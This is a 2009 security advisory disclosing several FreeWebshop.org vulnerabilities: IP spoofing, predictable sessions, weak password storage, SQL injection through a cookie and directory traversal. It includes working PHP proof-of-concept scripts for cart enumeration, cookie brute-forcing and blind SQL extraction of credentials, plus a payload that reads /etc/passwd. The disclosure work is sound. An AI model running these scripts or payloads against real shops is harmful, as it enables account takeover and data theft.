Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:23007
HistoryJan 05, 2010 - 12:00 a.m.

FreeWebshop.org: multiple vulnerabilities

2010-01-0500:00:00
vulners.com
24

FreeWebshop.org: multiple vulnerabilities

Yorick Koster, March 2009


Abstract

While doing a quick sweep over the code base of FreeWebshop.org (FWS)
several vulnerabilities have been found in FWS. These vulnerabilities
allow attackers to obtain arbitrary information from the webserver and
database. It is even possible to execute arbitrary code with the
privileges of FWS. In some cases it may even be possible to fully
compromise the system on which FWS is installed. Most of these issues
are related to the fact that FWS fully trusts the content of the cookies
that it receives. These issues were discovered within a very small
time frame, it is likely that more issues exist within FWS. A full
security review of the code base is recommended to increase the security
of FWS.


Tested versions

The issues mentioned in this document were tested on FreeWebshop.org
2.2.9 R2.


Fix

There is currently no fix available.


Introduction

FreeWebshop.org [2] (FWS) is a free, full featured software package that
allows you to set up your own online webshop within minutes. FWS is
written in the popular language PHP and uses a MySQL database. It is
designed to provide you with all the features you need from a webshop.


Insecure installation instructions

Besides changing the default password for the admin user and removing
the install.php script, no specific instructions are provided to secure
the installation of FWS. The manual assumes that FWS is installed on a
LAMP server (Linux, Apache, MySQL & PHP). If the ZIP archive is
extracted or the files are uploaded to the document root of the
webserver, the new files and directories will be created based on the
active umask. In most cases, this will give read & write access to
the owner of the files and read access for all other users.

Since FWS needs to write to certain files and directories, the
instructions in the manual tell you to specifically set file permissions
on a specific set of files and directories. For files, the owner, group
and world are all given read & write permissions including the file
settings.inc.php. For directories the execute bit is also set. The file
settings.inc.php contains the database username and password. In case
of a shared hosting environment, this allows for local user to obtain
these credentials. Since local users also have write access, it is even
possible to add or change PHP instructions to this file. Local user can
also create new files in the directories for which the file permissions
have been changed. Since these directories normally exist within the
document root, it is possible to create new PHP scripts and execute
these scripts using the webserver.

If the webserver is configured insecurely (for example the PUT option
has been enabled) or one of the applications hosted on the webserver
contains a vulnerability, it is even possible for unauthenticated remote
attackers to make similar changes. This can eventually lead to a
complete compromise of the entire system.


IP spoofing

When a user logs into FWS, the user's IP address is stored in the
database. This is done to prevent replay of (stolen) session cookies. If
FWS is called with a session cookie from a different IP address, the
user will not be logged into FWS. The IP address is obtained using
GetUserIP(). This function first checks whether the HTTP request
contains the X-Forwarded-For or Client-IP HTTP headers. These headers
are normally set by proxy servers to expose the user's real IP
address to the webservers. If these headers are found, FWS will uses the
value of the header as the user's IP address. If these headers are
not set, FWS uses the IP address of the connecting party.

includes/subs.inc.php:

// get user IP
function GetUserIP() {
if (isset($_SERVER)) { if
(isset($_SERVER["HTTP_X_FORWARDED_FOR"]))
{ $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; }
elseif(isset($_SERVER["HTTP_CLIENT_IP"]))
{ $ip = $_SERVER["HTTP_CLIENT_IP"]; }
else { $ip = $_SERVER["REMOTE_ADDR"]; }
}
else { if ( getenv( 'HTTP_X_FORWARDED_FOR' ) )
{ $ip = getenv( 'HTTP_X_FORWARDED_FOR' ); }
elseif ( getenv( 'HTTP_CLIENT_IP' ) )
{ $ip = getenv( 'HTTP_CLIENT_IP' ); }
else { $ip = getenv( 'REMOTE_ADDR' ); }
}
return $ip;
}

This logic is flawed as it assumes that only proxy servers set these
HTTP headers. The fact is that the client is under complete control of
the attacker, which allows the attacker to set any arbitrary HTTP header
including the X-Forwarded-For and Client-IP headers. Consequently, it
is possible for attackers to spoof any IP address (through GetUserIP())
using either one of these headers.


Unsafe session handling

FWS uses its own session handler instead of the default one provided
with PHP. There are many pitfalls when dealing with sessions. It is
generally not advised to create your own session handler. Common errors
made when doing so are the creation of predictable session identifiers
or the possibility of replay of session information.

The session handlers uses two different cookies, one for logged in users
named fws_cust and one for guest users that is named fws_guest. FWS
will first check if the fws_cust cookie has been set by the browser. If
this is the case, it will split the cookie value on the dash character
(-) and it sets the name, customerid and md5pass parameters.

includes/readcookie.inc.php:

// open the cookie and read the fortune ;-)
if (isset($_COOKIE['fws_cust'])) {
$fws_cust = explode("-", $_COOKIE['fws_cust']);
$name = $fws_cust[0];
$customerid = $fws_cust[1];
$md5pass = $fws_cust[2];
}

If the fws_cust cookie has not been set, FWS will check if the fws_guest
is set. If not, FWS creates a new session identifier that is stored
within an new fws_guest cookie. This cookies is valid for one hour. Its
value is stored within the parameter customerid. If the fws_guest cookie
is set, FWS will just store its value in customerid.

includes/readcookie.inc.php:

// you're not logged in, so you're a guest. let's see if you already
have a session id
if (!isset($_COOKIE['fws_guest'])) {
$fws_guest = create_sessionid(8); // create a sessionid of 8 numbers,
assuming a shop will never get 10.000.000 customers it's always a non
existing customer id
setcookie ("fws_guest", $fws_guest, time()+3600);
$customerid = $fws_guest;
}
else {
$customerid = $_COOKIE['fws_guest'];
}

The parameter customerid is used in various places. Its main purpose is
to maintain the state of the shopping cart. If it is possible to predict
this value, it is possible to view and modify another user's cart.
For guest users, the value is generated using the create_sessionid()
function. This function generates session identifiers based on the
current time and the function mt_rand(). The last function creates
random values using the Mersenne Twister algorithm. FWS seeds mt_rand()
every time create_sessionid() is called. mt_rand() will produce the same
set of random values if the same seed is provided. Since the attacker
knows the current time, it will be possible to generate the exact same
session identifiers. Consequently, an attacker will be able to calculate
valid session identifiers, which allows the attacker to manipulate
another user's cart.

includes/readcookie.inc.php:

function create_sessionid($length)
{
if($length>0)
{
$rand_id="";
for($i=1; $i<=$length; $i++)
{
mt_srand((double)microtime() * 1000000);
$num = mt_rand(27,36);
$rand_id .= assign_rand_value($num);
}
}
return $rand_id;
}

The value stored in customerid actually represent a primary key within
the MySQL database. No validation is done to check if it contains a
valid session identifier. Because of this, it is possible to set the
fws_guest to any arbitrary value. This allows for enumeration of valid
customer identifiers. It also allows attackers to modify carts of logged
on users or saved cards of previously logged on users. This is
demonstrated in the following PHP script (Dutch):

<?php
$url = "http://127.0.0.1/index.php?page=cart&amp;action=show&quot;;
$max = 1000;

for($customerid = 1; $customerid <= $max; $customerid++)
{
echo "<h3>Customerid: " . $customerid .
"</h3>\n";
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_COOKIE, "fws_guest=" . $customerid);
$result = curl_exec($ch);
curl_close($ch);
$result = str_replace("\n", "", $result);
preg_match("/(Wat zit er in uw winkelwagen.*)<\/table>/", $result,
$matches);
echo strip_tags($matches[1]);
}
?>

If a user successfully logs in, the fws_guest cookie is replaced with a
fws_cust cookie. The content of the shopping cart is transfered to the
one corresponding with the user's customerid. The cookie value
contains the username, customer identifier and the password that has
been hashed with the MD5 algorithm (twice). As long as the user does not
change his/her password, the value of this cookie will remain the same.
This cookie is used to check if a user is logged on or not. If an
attacker can steal this cookie value, it will be possible to use this
cookie to logon as this user until the password changes. There is one
limitation, the attacker will have to spoof the user's IP address
as this value is stored in the database and compared by FWS. The
spoofing flaw described above can be used to circumvent this measure.


Insufficient protection of passwords

An MD5 hash value of the passwords of the users of FWS is stored in the
database. FWS use these values to validated passwords entered by users.
MD5 is one way, the original value can't be easily obtained from
the result of an MD5 hash. Since only the hash value is stored, it is
possible to find users with the same hash value and thus with the same
password. It is even possible to quickly obtain passwords by looking
them up in so-called rainbow tables. If users do not pick strong
passwords, this attack is quite trivial. In addition, a malicious
administrator or attacker can even try to brute force the password using
a dictionary or by trying all combinations. FWS takes no measures to
prevent these attacks.


Insufficient protection against brute force attacks

The login page of FWS is not protected against brute force attacks in
which an attacker tries to log on with various username and password
combinations. These attacks are not detected by FWS and FWS does not
implement measures to thwart these kind of attacks for example by using
timeouts and/or locking. In addition, due to the way session handling is
implemented, it is even possible to execute brute force attacks on the
session cookies. In this case, it is not required to know the correct
username(s).

First lets look at the LoggedIn() function that checks if the user is
logged on using the fws_cust cookie.

// is the visitor logged in?
Function LoggedIn() {
Global $dbtablesprefix;
if (!isset($_COOKIE['fws_cust'])) { return false; }
$fws_cust = explode("-", $_COOKIE['fws_cust']);
$customerid = $fws_cust[1];
$md5pass = $fws_cust[2];
if (is_null($customerid)) { return false; }
$f_query = "SELECT * FROM ".$dbtablesprefix."customer WHERE ID = " .
$customerid;
$f_sql = mysql_query($f_query) or die(mysql_error());
while ($f_row = mysql_fetch_row($f_sql)) {
if (md5($f_row[2]) == $md5pass)
{
if ($f_row[6] == GetUserIP()) {
return true; }
else {
return false; }
} else
{
return false;
}
}
return false;
}

This function extracts the customer identifier from the cookie, which is
used in an SQL query. It than retrieves the MD5 value of the password
from the result set, uses it to calculate a new MD5 value and than
compares it with the derived password value from the cookie. If these
values matches, the IP address is checked. If everything is correct, the
function returns true indicating that the user is logged on. An
attacker can enumerate through a set of predefined customer identifiers
starting with one and check whether it is possible to login using common
password or the attacker can try all password combinations. Example
(Dutch):

<?php
$url = "http://127.0.0.1/index.php?page=main&quot;;
$max = 1000;
$passwords = array("admin_1234", "admin", "password");
$ipspoof = "127.0.0.1";

for($customerid = 1; $customerid <= $max; $customerid++)
{
foreach($passwords as $password)
{
$cookie = "fws_cust=foobar-" . $customerid . "-" . md5(md5($password));
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_HTTPHEADER, array("X-Forwarded-For: " .
$ipspoof . "\n"));
$result = curl_exec($ch);
curl_close($ch);
if(preg_match("/Persoonlijke pagina/", $result))
{
echo "Found password: " . $password . " for customerid: " .
$customerid . "<br>\n";
echo "Cookie: " . $cookie . "<br>\n";
}
}
}
?>

The only limitation here is the IP check that is performed, which
requires the attacker to correctly spoof an IP address.


SQL injection

When FWS reads the session cookies, no validation is performed on the
value of these cookies. However these cookie values are used in various
parts of FWS. In a lot of places, the values are used insecurely within
SQL statements. This allows attackers to alter SQL statements, resulting
in the execution of arbitrary SQL statements with the same privileges
as the database user that is used to connect to the database. An example
of this issue can be found within the function LoggedIn().

includes/sub.inc.php:

// is the visitor logged in?
Function LoggedIn() {
Global $dbtablesprefix;
if (!isset($_COOKIE['fws_cust'])) { return false; }
$fws_cust = explode("-", $_COOKIE['fws_cust']);
$customerid = $fws_cust[1];
$md5pass = $fws_cust[2];
if (is_null($customerid)) { return false; }
$f_query = "SELECT * FROM ".$dbtablesprefix."customer WHERE ID = " .
$customerid;
$f_sql = mysql_query($f_query) or die(mysql_error());
while ($f_row = mysql_fetch_row($f_sql)) {
if (md5($f_row[2]) == $md5pass)
{
if ($f_row[6] == GetUserIP()) {
return true; }
else {
return false; }
} else
{
return false;
}
}
return false;
}

This issue can be exploited through a specially crafted fws_cust cookie.
For example it should be possible to trick FWS into thinking the user
is logged on. However, when the default template is used, FWS will
produce an error when an attacker tries to do so. It appears that other
queries are executed before this query is executed. If one of these
queries fails, FWS will call the die() function. This will stop the
execution of the PHP script, consequently the vulnerable function
LoggedIn() will not be called. Other functions are affected as well, so
the first vulnerable function that is called can be exploited by
attackers. In case of FWS this is (normally) the function CountCart().

includes/sub.inc.php:

// how many items in the cart?
Function CountCart($customerid) {
Global $dbtablesprefix;
$num_prod=0;
$query = "SELECT * FROM `".$dbtablesprefix."basket` WHERE
(CUSTOMERID=".$customerid." AND ORDERID=0)";
$sql = mysql_query($query) or die(mysql_error());
while ($row = mysql_fetch_row($sql)) {
$num_prod = $num_prod + $row[6];
}
return $num_prod;
}

An attacker can exploit this issue to, for example, extract arbitrary
data from the database. In the code above it can be seen that only the
7th field of the result set is used as (an integer) return value, which
is later used in the output. This makes it harder to exploit this
issue. By setting the customer identifier, through a specially crafted
cookie, to the value 0) UNION SELECT
1,2,3,4,5,6,ASCII(SUBSTRING(LOGINNAME,1,1)),8 FROM customer WHERE ID=1/*
it is possible to read the first character of the login name of the
user with a customer identifier of 1. Using a serie of request using
different cookie values, it is possible to read arbitrary data from the
database. This is demonstrated in the following PHP example (Dutch):

<?php
$url = "http://127.0.0.1/index.php?page=main&quot;;
$tablename = "fws_customer";
$fieldnames = array("LOGINNAME", "PASSWORD", "IP");
$userid = 1;
$loginname = "";
$password = "";
$ip = "";

foreach($fieldnames as $fieldname)
{
$index = 1;
echo $fieldname . ": ";
while(TRUE)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_COOKIE,
"fws_cust=fubar-0)+UNION+SELECT+1%2C2%2C3%2C4%2C5%2C6%
2CASCII(SUBSTRING(" .
$fieldname . "%2C" . $index . "%2C1))%2C8+FROM+" . $tablename .
"+WHERE+ID%3D" . $userid . "%2F*-md5");
$result = curl_exec($ch);
curl_close($ch);
preg_match("/Winkelwagen \((\d+)\)/", $result, $matches);
if(intval($matches[1]) == 0)
{
break;
}
switch($fieldname)
{
case "LOGINNAME":
$loginname .= chr($matches[1]);
break;
case "PASSWORD":
$password .= chr($matches[1]);
break;
case "IP":
$ip .= chr($matches[1]);
break;
}
echo chr($matches[1]);
$index++;
}
echo "<br>\n";
}

echo "<br>\n";
echo "Login cookie: fws_cust=" . urlencode($loginname) .
"-" . urlencode($userid) . "-" .
urlencode(md5($password));
echo "<br>\n";
echo "IP spoof: X-Forwarded-For: " .urlencode($ip);
?>


Directory traversal

FWS uses a template mechanism for its look and feel and also supports
multiple languages. FWS ships with Dutch and English language files. The
file main.txt for each language is actually a PHP script that is
included within the web pages. If the user chooses a different language,
a cookie containing this language is send to the users browser. This
cookie is later used to find the correct language files. No validation
is performed on the content of this cookie. This allows attackers to
execute a directory traversal attack and included arbitrary local files,
allowing the disclosure of arbitrary file content or in some cases even
arbitrary code execution if the attacker can manipulate the content of
the included language file. This vulnerability exists in the following
code:

includes/initlang.inc.php:

<?php
// get language from cookie
if (isset($_COOKIE['cookie_lang'])) { $lang =
$_COOKIE['cookie_lang']; }
// if the lang.txt file from the cookie doesnt exist (anymore), then
switch to the default language
if (!isset($lang)) { $lang = $default_lang; }
if (!file_exists($lang_dir."/".$lang."/lang.txt"))
{ $lang = $default_lang;}
$lang_file = $lang_dir."/".$lang."/lang.txt";
$main_file = $lang_dir."/".$lang."/main.txt";
?>

Setting the cookie cookie_lang to the following value will display the
contents of the /etc/passwd file:

…/…/…/…/…/…/…/etc/passwd%00

It should be noted that this attack uses a NULL byte (%00). Because of
this, this attack only works on PHP installations that have disabled
'magic quotes'.


References

[1] http://www.akitasecurity.nl/advisory.php?id=AK20090301
[2] http://freewebshop.org/

Akita Software Security (Kvk 37144957)
http://www.akitasecurity.nl/

Key fingerprint = 5FC0 F50C 8B3A 4A61 7A1F 2BFF 5482 D26E D890 5A65
http://keyserver.pgp.com/vkd/DownloadKey.event?keyid=0x5482D26ED8905A65